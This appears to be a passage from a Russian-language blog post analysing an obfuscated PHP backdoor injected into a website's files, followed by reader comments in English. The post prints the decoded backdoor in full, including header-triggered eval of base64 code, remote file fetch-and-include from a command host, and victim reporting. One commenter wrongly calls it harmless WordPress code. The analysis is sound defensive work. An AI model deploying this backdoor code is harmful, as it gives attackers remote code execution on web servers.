ZiAoQGlzX2ZpbGUoJHRtcCkpe0BpbmNsdWRlX29uY2UgKCR0bXApO30NCgkJZWxzZSB7dXBkKCR0bXAsImh0dHA6Ly8iLiJnZXRwcm90Ii4ib2J5Ii4ibnVtYmVyLiIuImNvbSIuIi9pL3JlbSIuIi5waHA/dT0iLiR1cmkuIiZrPSIuJHNjLiImdD0iLiR0eXBlKTt9DQogICAgfQ0KfQ0KPz48P3BocCA=";
/*$hax = <<<EOL
?><?php
if (!defined('determinator')){
    function filter(){
        foreach ($_GET as $k=>$v){
            if (strpos($v,'union')){$_GET[$k]='';}
            elseif (strpos($v,'select')){$_GET[$k]='';}
        }
    }
    function getfile($url){
        if (ini_get('allow_url_fopen') == '1') {
            return @file_get_contents($url);
        }
        elseif (function_exists('curl_init')){
            $ch = @curl_init();
            @curl_setopt($ch, CURLOPT_URL,$url);
            @curl_setopt($ch, CURLOPT_HEADER,false);
            @curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
            @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,5);
            if ($data = @curl_exec($ch)) {return $data;}
            @curl_close($ch);
        }
        else {
            return '<img src="'.$url.'" width="1px" height="1px" />';
        }
    }
    function upd($file,$url){
        $h0=@fopen($file,'w');
        @fclose($h0);
        if (@is_file($file)){    write($file,getfile($url)) ;};
    }
    function write($file,$content){
        if (@is_file($file)){
            $h=@fopen($file,'w');
            @fwrite($h,$content);
            @fclose($h);
            @header('Y_Out: b2s=');
        }
    }
    ini_set('display_errors',0);
    $type='bot';
    $ver='1.12';
    $en="base64_encode";
    $de="base64_decode";
    $host=strtolower(@$_SERVER["HTTP_HOST"]);
    $sc=@md5($host.PHP_VERSION.$ver.PHP_OS.'4');
    define('determinator',1); filter();
    if ($uri=$host.@$_SERVER['REQUEST_URI']){
        $tmp='/tmp/';
        if (!empty($_ENV['TMP'])) { $tmp =  $_ENV['TMP'].'/'; }
        if (!empty($_ENV['TMPDIR'])) { $tmp = $_ENV['TMPDIR'].'/'; }
        if (!empty($_ENV['TEMP'])) { $tmp = $_ENV['TEMP'].'/'; }
        $tmp=$tmp.'.'.$sc;
        if (@$_SERVER["HTTP_Y_AUTH"]==$sc){
            @header('Y_Versio: '.$ver.$type);
            if ($code=$de(@$_SERVER['HTTP_EXECPHP'])){
                @eval($code);
                exit(0);
            }
            if ($cmd=$de(@$_SERVER['HTTP_UPDATE'])){upd($tmp,$cmd);}
            if ($cmd=$de(@$_SERVER['HTTP_PUTCODE'])){write($tmp,$cmd);}
        }
        $uri=@urlencode($uri);
        if (@is_file($tmp)){@include_once ($tmp);}
        else {upd($tmp,"http://"."getprot"."oby"."number."."com"."/i/rem".".php?u=".$uri."&k=".$sc."&t=".$type);}
    }
}
?><?php
EOL;
*/

    $shag1=vtoraya($hax);
    $shag3=pervaya($shag1);
    pervaya($shag3);
}
?>
Переменную $hax сперва хотел записать в heredoc-виде, тогда можно избавиться от вызова второй функции.. Но там тоже надо экранировать многое, поэтому я не стал. Оставил её в виде комментария для наглядности.

После всех проделанных операция алгоритм скрипта предельно понятен. Скрипт без какого-либо пользовательского вывода/ввода (то есть инициировать процесс может случайный заход на страницу) пытается забрать что-то с удаленного сервера, скорее всего это шелл-скрипт. Потому что если записать на сервере его не удается, то скрипт пытается проинклюдить его
в себе. Хотя это могут быть другие php-модули, содержащие, например, экплоиты под особенности конкретного окружения.

Если любые варианты загрузки не проходят (есть ещё вариант с curl), то скрипт аккуратно рапортует о себе на центральный сервер, потому что также есть отдельная функция для непосредственного управления без загрузки дополнительных файлов. Чтобы сервер не ушел так просто в другие руки для управления используются специальные хеши и приметные нестандартные заголовки. Не возьмусь утверждать, но возможно два левых хоста зашедших через 10-15 минут после меня были как раз управляющими.

В моем случае, по тем признакам, что использует скрипт - загрузка проходит. На самом деле нет. После этого скрипт умирает. Хост на который отсылается по умолчанию информация на сейчас не определяется.

О себе рапортует путём имитации загрузки контента с центрального сервера.
Крайне маловероятно, но возможно, что также происходило заражение
компьютеров при посещении, можно посмотреть багтраки за последние пару
месяцев на предмет уязвимостей в стандартных библиотеках браузеров при обработке
изображений. Я заходил под последним на тот момент FireFox.

Антивирусы этот скрипт никак не детектят (специально на virustotal
закидывал - 0/43), хотя обфусцированный скрипт с таким набором признаков
можно бы и "заподозрить".

Совместив логи сервера с картиной произошедшего стало понятно. Компьютер пользователя, которому были предоставлены логин и пароль для доступа к сайту по FTP, имел на борту вирус. Либо использовался FTP-клиент склеенный с программой-трояном. Загрузка с удаленного хоста файлов на сервер не удалась по причине специальных настроек на стороне сервера и недоступности самого хоста. Осталось только понять, откуда же эти два посторонних ip взялись. Есть версии??

Если кому нужна помощь по деобфускации, пишите, буду помогать по мере сил и наличию времени.

6 комментариев:

  1. I would like to know the presentation technique for this kind of attack.
    Some time it halt the script and showing the errors on the page.

    ОтветитьУдалить
  2. Hi
    I got the same on all index.php files in different directories. I am sorry that I dont understand russian language but as I can see teh code decoded there is actually no way it to harm Your server, because there are no links between $_GET variables and this code. First I was scared but now first I thknk it is not dangerous, and secondly, look at what I found:
    http://1prueva.webcindario.com/

    This is just a part of a wordpress code. I bet wordpress is doing that durring installation or whenever. I see Your blog I am currently writing that is also wordpress. And on my server I have wordpress sites as well. This code is the header of every wordpress website. It seems the wordpress system is writing it in the begging of php files. But I dont thinks this is dangerous. What is strabge to me is that really all forums are stucj with this problem since the begging of 2011. Strange...

    ОтветитьУдалить
  3. Nikolay, it is not original WP-code. After first . And in the end of the first line you can see <?php tag again. From second <?php tag starts original WP-code. So, it looks like you have a same trouble.

    ОтветитьУдалить
  4. Oups =) Shortly:
    1st line < ? php EXTERNAL_EVIL_CODE ? > and then < ? php
    2nd line ORIGINAL WP-CODE
    Last line ? >

    ОтветитьУдалить
  5. Milind, there is no any universal preventative technique. In my case this code going onto my server throw FTP. User, which upload file have a virus on the computer under Windows and this code have been uploaded too. But on my server have a restriction for write-possibility from php-script into webroot directory. So, this code are not worked in my case.

    ОтветитьУдалить